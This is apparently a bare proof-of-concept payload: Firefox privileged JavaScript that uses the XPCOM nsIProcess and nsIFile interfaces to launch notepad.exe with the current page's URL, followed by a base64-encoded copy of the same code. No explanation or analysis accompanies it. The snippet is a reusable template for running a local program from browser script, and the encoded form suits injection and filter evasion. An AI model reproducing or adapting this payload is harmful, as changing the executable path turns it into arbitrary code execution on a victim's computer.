(function() {
var args = ['C:\Windows\System32\notepad.exe', window.location];
var process = Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);
var executable = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsIFile);
executable.initWithPath(args.shift());
process.init(executable);
process.runAsync(args, args.length);
})();
KGZ1bmN0aW9uKCkgewogICAgdmFyIGFyZ3MgPSBbJ0M6XFdpbmRvd3NcU3lzdGVtMzJcbm90ZXBhZC5leGUnLCB3aW5kb3cubG9jYXRpb25dOwogICAgIAogICAgdmFyIHByb2Nlc3MgPSBDb21wb25lbnRzLmNsYXNzZXNbJ0Btb3ppbGxhLm9yZy9wcm9jZXNzL3V0aWw7MSddLmNyZWF0ZUluc3RhbmNlKENvbXBvbmVudHMuaW50ZXJmYWNlcy5uc0lQcm9jZXNzKTsKICAgICAKICAgIHZhciBleGVjdXRhYmxlID0gQ29tcG9uZW50cy5jbGFzc2VzWydAbW96aWxsYS5vcmcvZmlsZS9sb2NhbDsxJ10uY3JlYXRlSW5zdGFuY2UoQ29tcG9uZW50cy5pbnRlcmZhY2VzLm5zSUZpbGUpOwogICAgIAogICAgZXhlY3V0YWJsZS5pbml0V2l0aFBhdGgoYXJncy5zaGlmdCgpKTsKICAgIHByb2Nlc3MuaW5pdChleGVjdXRhYmxlKTsKICAgIHByb2Nlc3MucnVuQXN5bmMoYXJncywgYXJncy5sZW5ndGgpOwp9KSgpOw==